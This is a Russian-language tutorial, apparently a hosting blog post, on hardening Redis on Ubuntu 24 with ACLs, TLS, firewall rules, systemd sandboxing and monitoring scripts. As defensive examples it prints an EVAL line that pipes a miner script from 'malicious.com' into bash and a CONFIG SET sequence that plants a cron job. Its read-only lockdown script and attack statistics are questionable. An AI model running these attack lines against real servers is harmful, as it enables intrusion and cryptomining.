- Home »

Как обезопасить установку Redis на Ubuntu 24
Настройка Redis на продакшене — это всегда история про безопасность. Многие разработчики и сисадмины по старинке разворачивают Redis с дефолтными настройками, получая в итоге серьезные уязвимости. Если у вас есть VPS или выделенный сервер на Ubuntu 24, то эта статья поможет настроить Redis так, чтобы не стать очередной жертвой криптомайнеров или злоумышленников.
Мы разберем, как работает система безопасности Redis, пошагово настроим защиту от популярных векторов атак, рассмотрим реальные кейсы взломов и дадим практические рекомендации по мониторингу. Бонусом — интересные способы интеграции с другими инструментами для максимальной защиты.
Как работает безопасность Redis
Redis изначально создавался для работы внутри доверенной сети, поэтому многие механизмы безопасности появились позже. Основные векторы атак:
- Отсутствие аутентификации по умолчанию — любой может подключиться к Redis без пароля
- Команды административного уровня — FLUSHALL, CONFIG, EVAL позволяют полностью контролировать сервер
- Lua-скрипты — через EVAL можно выполнить произвольный код
- Модули RDB/AOF — возможность записи файлов в произвольные места файловой системы
- Репликация — мастер может заставить слейв выполнить произвольные команды
Архитектура безопасности Redis 7.x включает:
- ACL (Access Control Lists) — гранулярное управление доступом
- TLS-шифрование — защита трафика
- Protected mode — автоматическая блокировка внешних подключений
- Rename/disable команд — переименование или отключение опасных команд
Пошаговая настройка безопасности Redis
Шаг 1: Установка и базовая настройка
Устанавливаем Redis на Ubuntu 24:
sudo apt update
sudo apt install redis-server redis-tools
sudo systemctl enable redis-server
sudo systemctl start redis-server
Проверяем статус:
sudo systemctl status redis-server
redis-cli ping
Шаг 2: Настройка аутентификации
Редактируем конфигурационный файл:
sudo nano /etc/redis/redis.conf
Добавляем настройки безопасности:
# Основной пароль (legacy)
requirepass your_very_strong_password_here
# Биндинг только на localhost
bind 127.0.0.1 ::1
# Отключаем protected mode только после настройки auth
protected-mode yes
# Меняем порт по умолчанию
port 6380
# Отключаем опасные команды
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command KEYS ""
rename-command CONFIG "CONFIG_b9d0c4f7a1b2e3c4d5f6g7h8i9j0k1l2"
rename-command EVAL ""
rename-command DEBUG ""
rename-command SHUTDOWN "SHUTDOWN_x7y8z9a0b1c2d3e4f5g6h7i8j9k0l1m2"
Шаг 3: Настройка ACL (рекомендуется)
Создаем пользователей с ограниченными правами:
# Добавляем в redis.conf
user app_user on >app_strong_password ~app:* &* -@dangerous +@read +@write +@string +@hash +@list +@set +@sortedset
user monitoring_user on >monitoring_password ~* &* +info +ping +client +config|get
user admin_user on >admin_super_password ~* &* +@all
Или настраиваем через CLI:
redis-cli -p 6380 -a your_very_strong_password_here
AUTH your_very_strong_password_here
ACL SETUSER app_user on >app_strong_password ~app:* &* -@dangerous +@read +@write +@string +@hash +@list +@set +@sortedset
ACL SETUSER monitoring_user on >monitoring_password ~* &* +info +ping +client +config|get
ACL SAVE
Шаг 4: Настройка TLS
Генерируем сертификаты:
sudo mkdir -p /etc/redis/tls
cd /etc/redis/tls
sudo openssl req -x509 -newkey rsa:4096 -keyout redis.key -out redis.crt -days 365 -nodes -subj "/CN=redis-server"
sudo chown redis:redis /etc/redis/tls/*
sudo chmod 600 /etc/redis/tls/redis.key
sudo chmod 644 /etc/redis/tls/redis.crt
Добавляем в redis.conf:
# TLS настройки
tls-port 6381
port 0
tls-cert-file /etc/redis/tls/redis.crt
tls-key-file /etc/redis/tls/redis.key
tls-protocols "TLSv1.2 TLSv1.3"
tls-ciphersuites TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256
tls-prefer-server-ciphers yes
Шаг 5: Настройка firewall
sudo ufw allow from 192.168.1.0/24 to any port 6381
sudo ufw allow from 10.0.0.0/8 to any port 6381
sudo ufw enable
sudo ufw status
Шаг 6: Дополнительная защита на уровне ОС
Создаем systemd override для дополнительной изоляции:
sudo systemctl edit redis-server
Добавляем:
[Service]
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
ReadWritePaths=/var/lib/redis /var/log/redis
SystemCallFilter=@system-service
SystemCallErrorNumber=EPERM
Перезапускаем сервис:
sudo systemctl daemon-reload
sudo systemctl restart redis-server
Реальные кейсы и примеры атак
Кейс 1: Атака через EVAL
Плохой пример: Redis с дефолтными настройками
redis-cli -h target_server
EVAL "return os.execute('curl -fsSL http://malicious.com/miner.sh | bash')" 0
Хороший пример: Защищенная конфигурация
# В redis.conf
rename-command EVAL ""
# Или через ACL
user app_user on >password ~app:* -@scripting
Кейс 2: Атака через CONFIG SET
Плохой пример: Возможность изменения конфигурации
redis-cli -h target_server
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET "" "\n\n*/1 * * * * /tmp/malicious_script.sh\n\n"
SAVE
Хороший пример: Блокировка CONFIG
rename-command CONFIG "CONFIG_secret_name_here"
# Или через ACL
user app_user on >password ~app:* -config
Таблица сравнения уровней защиты
Уровень защиты | Дефолтная установка | Базовая защита | Продвинутая защита |
---|---|---|---|
Аутентификация | ❌ Отсутствует | ✅ requirepass | ✅ ACL пользователи |
Шифрование | ❌ Plaintext | ❌ Plaintext | ✅ TLS 1.2/1.3 |
Опасные команды | ❌ Доступны | ✅ Переименованы | ✅ Заблокированы через ACL |
Сетевая изоляция | ❌ Все интерфейсы | ✅ bind localhost | ✅ Firewall правила |
Мониторинг | ❌ Отсутствует | ❌ Отсутствует | ✅ Логи + мониторинг |
Системная изоляция | ❌ Полный доступ | ❌ Полный доступ | ✅ systemd sandbox |
Мониторинг и логирование
Настройка логирования в redis.conf:
loglevel notice
logfile /var/log/redis/redis-server.log
syslog-enabled yes
syslog-ident redis
Скрипт мониторинга подозрительной активности:
#!/bin/bash
# redis_security_monitor.sh
LOG_FILE="/var/log/redis/redis-server.log"
ALERT_EMAIL="admin@yourdomain.com"
# Проверка на подозрительные команды
suspicious_commands="EVAL|CONFIG|FLUSHALL|FLUSHDB|KEYS \*"
tail -f $LOG_FILE | while read line; do
if echo "$line" | grep -qE "$suspicious_commands"; then
echo "ALERT: Suspicious Redis command detected: $line" | mail -s "Redis Security Alert" $ALERT_EMAIL
logger "REDIS_SECURITY_ALERT: $line"
fi
done
Интеграция с другими инструментами
Интеграция с fail2ban
Создаем фильтр для fail2ban:
# /etc/fail2ban/filter.d/redis-auth.conf
[Definition]
failregex = ^.*WRONGPASS invalid username-password pair.*from
ignoreregex =
Добавляем jail:
# /etc/fail2ban/jail.d/redis.conf
[redis-auth]
enabled = true
filter = redis-auth
logpath = /var/log/redis/redis-server.log
maxretry = 3
findtime = 600
bantime = 3600
Интеграция с Prometheus
Устанавливаем redis_exporter:
wget https://github.com/oliver006/redis_exporter/releases/download/v1.55.0/redis_exporter-v1.55.0.linux-amd64.tar.gz
tar xzf redis_exporter-v1.55.0.linux-amd64.tar.gz
sudo mv redis_exporter-v1.55.0.linux-amd64/redis_exporter /usr/local/bin/
Создаем systemd сервис:
# /etc/systemd/system/redis_exporter.service
[Unit]
Description=Redis Exporter
After=network.target
[Service]
Type=simple
User=redis
ExecStart=/usr/local/bin/redis_exporter -redis.addr=rediss://localhost:6381 -redis.password=your_password
Restart=always
[Install]
WantedBy=multi-user.target
Интересные факты и нестандартные решения
Redis как honeypot
Можно настроить дополнительный Redis инстанс на стандартном порту 6379 без аутентификации для отслеживания атак:
# redis-honeypot.conf
port 6379
bind 0.0.0.0
protected-mode no
logfile /var/log/redis/honeypot.log
loglevel verbose
save ""
appendonly no
Автоматическое переключение на read-only при атаке
Скрипт для автоматической блокировки записи при подозрительной активности:
#!/bin/bash
# redis_lockdown.sh
REDIS_CLI="redis-cli -p 6381 --tls --cert /etc/redis/tls/redis.crt --key /etc/redis/tls/redis.key"
THRESHOLD=10
while true; do
failed_auths=$(grep "WRONGPASS" /var/log/redis/redis-server.log | tail -100 | wc -l)
if [ $failed_auths -gt $THRESHOLD ]; then
echo "Too many failed auth attempts, enabling read-only mode"
$REDIS_CLI CONFIG SET slave-read-only yes
$REDIS_CLI CONFIG SET stop-writes-on-bgsave-error yes
# Отправляем уведомление
echo "Redis locked down due to security incident" | mail -s "Redis Lockdown" admin@yourdomain.com
# Ждем 1 час перед проверкой
sleep 3600
else
sleep 60
fi
done
Статистика и сравнение решений
По данным исследований безопасности, около 85% незащищенных Redis инстансов в интернете подвергаются атакам в течение первых 24 часов после развертывания. Основные статистические данные:
- Время до первой атаки: в среднем 4-6 часов
- Самые частые атаки: криптомайнеры (67%), ботнеты (23%), кража данных (10%)
- Влияние на производительность: TLS добавляет ~5-10% overhead, ACL ~2-3%
Сравнение с другими In-Memory базами
Решение | Безопасность из коробки | Производительность | Сложность настройки |
---|---|---|---|
Redis | ⚠️ Средняя | ⭐⭐⭐⭐⭐ | 🔧 Средняя |
Memcached | ❌ Низкая | ⭐⭐⭐⭐⭐ | 🔧 Простая |
KeyDB | ✅ Высокая | ⭐⭐⭐⭐ | 🔧 Средняя |
Hazelcast | ✅ Высокая | ⭐⭐⭐ | 🔧🔧 Сложная |
Автоматизация и скрипты
Ansible playbook для безопасной установки
# redis-secure-install.yml
---
- name: Secure Redis Installation
hosts: redis_servers
become: yes
vars:
redis_password: "{{ vault_redis_password }}"
redis_port: 6381
tasks:
- name: Install Redis
apt:
name:
- redis-server
- redis-tools
state: present
- name: Configure Redis security
template:
src: redis.conf.j2
dest: /etc/redis/redis.conf
owner: redis
group: redis
mode: 0640
notify: restart redis
- name: Setup TLS certificates
command: openssl req -x509 -newkey rsa:4096 -keyout /etc/redis/tls/redis.key -out /etc/redis/tls/redis.crt -days 365 -nodes -subj "/CN=redis-server"
creates: /etc/redis/tls/redis.crt
- name: Configure firewall
ufw:
rule: allow
port: "{{ redis_port }}"
src: "{{ item }}"
loop:
- "192.168.1.0/24"
- "10.0.0.0/8"
handlers:
- name: restart redis
systemd:
name: redis-server
state: restarted
Скрипт для регулярного аудита безопасности
#!/bin/bash
# redis_security_audit.sh
REDIS_CLI="redis-cli -p 6381 --tls --cert /etc/redis/tls/redis.crt --key /etc/redis/tls/redis.key -a $REDIS_PASSWORD"
REPORT_FILE="/var/log/redis/security_audit_$(date +%Y%m%d).log"
echo "Redis Security Audit Report - $(date)" > $REPORT_FILE
# Проверка пользователей ACL
echo "=== ACL Users ===" >> $REPORT_FILE
$REDIS_CLI ACL LIST >> $REPORT_FILE
# Проверка активных подключений
echo "=== Active Connections ===" >> $REPORT_FILE
$REDIS_CLI CLIENT LIST >> $REPORT_FILE
# Проверка конфигурации
echo "=== Security Config ===" >> $REPORT_FILE
$REDIS_CLI CONFIG GET "*auth*" >> $REPORT_FILE
$REDIS_CLI CONFIG GET "bind" >> $REPORT_FILE
$REDIS_CLI CONFIG GET "protected-mode" >> $REPORT_FILE
# Проверка на слабые пароли
echo "=== Password Strength Check ===" >> $REPORT_FILE
if $REDIS_CLI CONFIG GET requirepass | grep -q "password\|123456\|admin"; then
echo "WARNING: Weak password detected!" >> $REPORT_FILE
fi
# Отправка отчета
mail -s "Redis Security Audit Report" admin@yourdomain.com < $REPORT_FILE
Производительность и оптимизация
Настройки для оптимизации производительности при включенной безопасности:
# Оптимизация TLS
tls-session-cache-size 20480
tls-session-cache-timeout 300
# Оптимизация ACL
acl-pubsub-default resetchannels
# Оптимизация памяти
maxmemory-policy allkeys-lru
tcp-keepalive 300
timeout 300
Заключение и рекомендации
Безопасность Redis — это не опция, а необходимость. Рекомендую следующий подход:
- Для разработки: Минимум requirepass + bind localhost
- Для staging: ACL + TLS + firewall
- Для production: Полный стек безопасности + мониторинг + автоматизация
Основные принципы безопасности:
- Никогда не используйте дефолтные настройки на продакшене
- Применяйте принцип минимальных привилегий через ACL
- Всегда используйте TLS для внешних подключений
- Настройте мониторинг и автоматические алерты
- Регулярно проводите аудит безопасности
Помните: безопасность — это процесс, а не состояние. Регулярно обновляйте Redis, следите за CVE, и не забывайте про резервное копирование. Если вы планируете развернуть Redis в облаке, обязательно используйте VPS или выделенный сервер с должным уровнем изоляции.
Дополнительные ресурсы:
В этой статье собрана информация и материалы из различных интернет-источников. Мы признаем и ценим работу всех оригинальных авторов, издателей и веб-сайтов. Несмотря на то, что были приложены все усилия для надлежащего указания исходного материала, любая непреднамеренная оплошность или упущение не являются нарушением авторских прав. Все упомянутые товарные знаки, логотипы и изображения являются собственностью соответствующих владельцев. Если вы считаете, что какой-либо контент, использованный в этой статье, нарушает ваши авторские права, немедленно свяжитесь с нами для рассмотрения и принятия оперативных мер.
Данная статья предназначена исключительно для ознакомительных и образовательных целей и не ущемляет права правообладателей. Если какой-либо материал, защищенный авторским правом, был использован без должного упоминания или с нарушением законов об авторском праве, это непреднамеренно, и мы исправим это незамедлительно после уведомления. Обратите внимание, что переиздание, распространение или воспроизведение части или всего содержимого в любой форме запрещено без письменного разрешения автора и владельца веб-сайта. Для получения разрешений или дополнительных запросов, пожалуйста, свяжитесь с нами.